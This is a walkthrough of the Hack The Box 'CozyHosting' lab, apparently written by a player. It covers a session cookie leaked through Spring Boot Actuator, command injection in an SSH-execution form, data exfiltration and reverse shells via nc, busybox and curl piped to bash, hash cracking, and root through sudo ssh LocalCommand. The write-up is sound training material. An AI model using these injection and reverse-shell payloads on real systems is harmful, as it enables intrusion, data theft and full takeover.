Machine Info

Spoiler
CozyHosting is an easy-difficulty Linux machine that features a Spring Boot application. The application has the Actuator endpoint enabled. Enumerating the endpoint leads to the discovery of a user’s session cookie, leading to authenticated access to the main dashboard. The application is vulnerable to command injection, which is leveraged to gain a reverse shell on the remote machine. Enumerating the application’s JAR file, hardcoded credentials are discovered and used to log into the local database. The database contains a hashed password, which once cracked is used to log into the machine as the user josh. The user is allowed to run ssh as root, which is leveraged to fully escalate privileges.

User

Reconnaissance

We are going to start by running our nmap scan:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
ports=$(nmap -p- --min-rate=1000 -T4 $VICTIM | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)


└─$ nmap -p$ports -sC -sV $VICTIM
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-27 21:05 CET
Nmap scan report for cozyhosting.htb (10.129.229.88)
Host is up (0.055s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_  256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Cozy Hosting - Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.87 seconds

Let’s add cozyhosting.htb to our /etc/hosts

Web

└└─$ ffuf -u http://cozyhosting.htb/FUZZ -r -w /usr/share/seclists/Discovery/Web-Content/big.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cozyhosting.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
 :: Follow redirects : true
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

admin                   [Status: 401, Size: 97, Words: 1, Lines: 1, Duration: 120ms]
asdfjkl;                [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 30ms]
error                   [Status: 500, Size: 73, Words: 1, Lines: 1, Duration: 197ms]
logout                  [Status: 204, Size: 0, Words: 1, Lines: 1, Duration: 321ms]
login                   [Status: 200, Size: 4431, Words: 1718, Lines: 97, Duration: 1069ms]

Looking at the web we start immediately web enumeration but we didn’t find anything useful. The login page didn’t seem to be vulnerable to any form of injection. Checking the pages we come across the error page.

Looking online we trying to find the tech stack of the web app and we hits for Spring Boot. So we start fuzzing with the correct wordlist and get interesting hits.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└─$ dirsearch -u http://cozyhosting.htb -w /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt -e jar,java,class -t 50  
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )                                                                      
                                                                                             
Extensions: jar, java, class | HTTP method: GET | Threads: 50 | Wordlist size: 174

Output File: /home/panas/Desktop/htb-labs/linux/cozyhosting/reports/http_cozyhosting.htb/_26-01-27_22-11-14.txt

Target: http://cozyhosting.htb/

[22:11:14] Starting:                                                                         
[22:11:16] 200 -  634B  - /actuator                                         
[22:11:16] 200 -    5KB - /actuator/env
[22:11:16] 200 -  487B  - /actuator/env/home
[22:11:16] 200 -  487B  - /actuator/env/path                                
[22:11:16] 200 -  487B  - /actuator/env/lang                                
[22:11:16] 200 -   15B  - /actuator/health                                  
[22:11:16] 200 -   10KB - /actuator/mappings                                
[22:11:16] 200 -   48B  - /actuator/sessions                                
[22:11:17] 200 -  124KB - /actuator/beans                                    
                                                                             
Task Completed         

Looking at the sessions we get a hit which we could use for logging in to the admin panel.

/actuator/sessions

1
{"F92F035CAD9E49228ADB894007FB772B":"kanderson"}

Command injection

We see the interesting endpoint /executessh which seems that is the attack path we should take for gaining access to the system.

1
host=127.0.0.1&username=kali

Checking in request we see that it has two parameters. Let’s try to break out of the command and achieve command injection.

1
2
3
4
5
6
7
8
9
host=127.0.0.1&username=lol'

HTTP/1.1 302 
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 28 Jan 2026 23:19:23 GMT
Content-Length: 0
Location: http://cozyhosting.htb/admin?error=/bin/bash: -c: line 1: unexpected EOF while looking for matching `''/bin/bash: -c: line 2: syntax error: unexpected end of file
Connection: keep-alive
...

We can confirm this is the way. Playing a bit with how the command is structured and when to put quotes can be tricky. After playing a bit we see that we have a restriction in whitespaces as the username cannot contain any. We overcome this with a nice trick found on this article!

Tip
We use the ${IFS}. Basically the default value of IFS is space, tab, newline. All of these characters are whitespace. If you need a single space, you can use ${IFS%??}.

host=127.0.0.1&username=panas''%3b${IFS%25%3f%3f}cat${IFS%25%3f%3f}/etc/passwd${IFS%25%3f%3f}|nc${IFS%25%3f%3f}10.10.14.91${IFS%25%3f%3f}1234;#''#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.91] from (UNKNOWN) [10.129.229.88] 43834
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001::/home/app:/bin/sh
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
josh:x:1003:1003::/home/josh:/usr/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false

We achieved command injection to this point. And we should work into spawning a reverse shell. Before that we went a bit and enumerated few things and exhilarated the complete JAR of the application.

Info
JAR file is a compressed archive format that contains multiple Java-related files, such as class files, resources, and metadata. It allows developers to bundle Java applications, libraries, or modules into a single file for easier distribution and deployment.

1
2
3
4
5
6
7
8
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.91] from (UNKNOWN) [10.129.229.88] 60562
total 58856
drwxr-xr-x  2 root root     4096 Aug 14  2023 .
drwxr-xr-x 19 root root     4096 Aug 14  2023 ..
-rw-r--r--  1 root root 60259688 Aug 11  2023 cloudhosting-0.0.1.jar
^C

Payload we run:host=127.0.0.1&username=panas''%3b${IFS%25%3f%3f}cat${IFS%25%3f%3f}cloudhosting-0.0.1.jar|base64|nc${IFS%25%3f%3f}10.10.14.91${IFS%25%3f%3f}1234;#''#

1
2
3
4
5
nc -lnvp 1234  > base64jar
....

cat base64jar | base64 -d > cloudhosting-0.0.1.jar  
jar xf cloudhosting-0.0.1.jar

We manage to exfiltrate it by base64 encoding it and then decode it to actually uncompress it and read its contents.

Postgres credentials
server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR

Shell & Credential Cracking

So we know we have Postgresql database. Let’s try to achieve a reverse shell at this point. This was tricky since the normal netcat didn’t work as it was too old apparently and didn’t like the -c or -e flags. So we used another payload based on busybox that worked! Payload:host=127.0.0.1&username=panas''%3b${IFS%25%3f%3f}busybox${IFS%25%3f%3f}nc${IFS%25%3f%3f}10.10.14.91${IFS%25%3f%3f}1234${IFS%25%3f%3f}-e${IFS%25%3f%3f}/bin/bash;#''#

After achieving the reverse shell we upgrade it a bit with python3 -c 'import pty;pty.spawn("/bin/bash");' and we enumerate the database.

1
2
kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
User password
1
2
3
└─$ hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt.gz

$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited

With the cracked password we ssh into the victim as josh, the username we got from our enumeration before.

Tip

Another easier payload for the command injection we found out was test;curl${IFS}http://KALI-IP:1234;. Basically we could use curl to reach our attacker machine. We can then download (or upload!) a rev shell script and execute immediately.

1
echo -e '#!/bin/bash\nsh -i >& /dev/KALI-IP/1234 0>&1' > rev.sh

And then our payload will look like this: test;curl${IFS}http://KALI-IP:1234/rev.sh|bash;


Root

SSH

Root is actually quite easy.

1
2
3
4
5
6
7
josh@cozyhosting:~$ sudo -l
[sudo] password for josh: 
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *
1
2
3
4
5
6
josh@cozyhosting:~$ sudo /usr/bin/ssh -v -o PermitLocalCommand=yes -o 'LocalCommand=/bin/bash' [email protected]
root@cozyhosting:/home/josh# la
.bash_history  .bash_logout  .bashrc  .cache  .lesshst  .profile  .psql_history  user.txt  .vimrc
root@cozyhosting:/home/josh# whoami
root
root@cozyhosting:/home/josh# 
Info
Reading through the SSH documentation and checking GTFOBins we see that running the command with the -o flag allows us to specify the PermitLocalCommand=yes option. This option is used to allow the execution of local commands on the client machine after a successful SSH connection is established. The LocalCommand=/bin/bash option specifies the local command that should be executed on the machine after a successful SSH connection. In our case, we set it to execute /bin/bash , which means that after connecting to the machine, a bash shell will be opened, and we will have a session as root .